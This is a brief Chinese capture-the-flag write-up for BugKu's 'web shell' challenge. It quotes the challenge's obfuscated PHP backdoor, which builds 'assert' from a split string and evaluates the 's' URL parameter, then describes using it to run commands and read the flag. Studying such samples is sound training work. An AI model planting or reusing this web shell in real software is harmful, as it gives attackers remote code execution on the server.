CTF-BugKu-web shell

参考：

BugKu_shell_bugku shell-CSDN博客文章浏览阅读1k次，点赞2次，收藏7次。访问目标地址，可以发现是一个空白页根据描述中说的马，最后是($_GET[‘s’])，所以应该是传入一个s参数发现whoami执行成功了，接下来看下都有什么文件找找flag在哪里查看这个flag什么什么的文件成功得到flag！..._bugku shellhttps://blog.csdn.net/qq_44959263/article/details/119634267

打开场景后，发现啥也没有

 分析题目给的描述：

 

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

assert函数：

 ($_GET[‘s’])，URL中传入一个s参数

看下有什么文件

 查看flag文件